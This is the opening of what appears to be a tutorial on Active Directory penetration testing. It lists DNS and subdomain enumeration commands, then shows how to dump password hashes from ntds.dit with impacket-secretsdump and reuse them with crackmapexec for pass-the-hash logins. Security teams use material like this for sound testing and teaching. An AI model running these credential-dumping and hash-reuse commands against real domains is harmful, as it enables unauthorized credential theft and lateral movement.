Mastering Active Directory Pentesting: A Comprehensive Guide

Introduction

Microsoft’s Active Directory (AD) is the backbone of Windows domain networks. AD penetration testing is critical for discovering and mitigating security threats. In this book, we’ll look at several Active Directory penetration testing approaches, commands, and samples.

Enumeration

From Outside

Domain Controllers Discovery

To discover Domain Controllers using DNS:

dig @<target-ip> <domain-name> any

Subdomain enumeration with ffuf:

ffuf -u https://FUZZ.example.com -w subdomains.txt -mc 200,301,302,403

Using gobuster for DNS:

gobuster dns -d example.local -w subdomains.txt -t 25

Dumping Password Hashes

Use impacket-secretsdump to extract password hashes:

impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL -outputfile hashes
cut -d: -f3,4 hashes.ntds > hashes.txt
crackmapexec smb <target-ip> -u <username> -H hashes.txt

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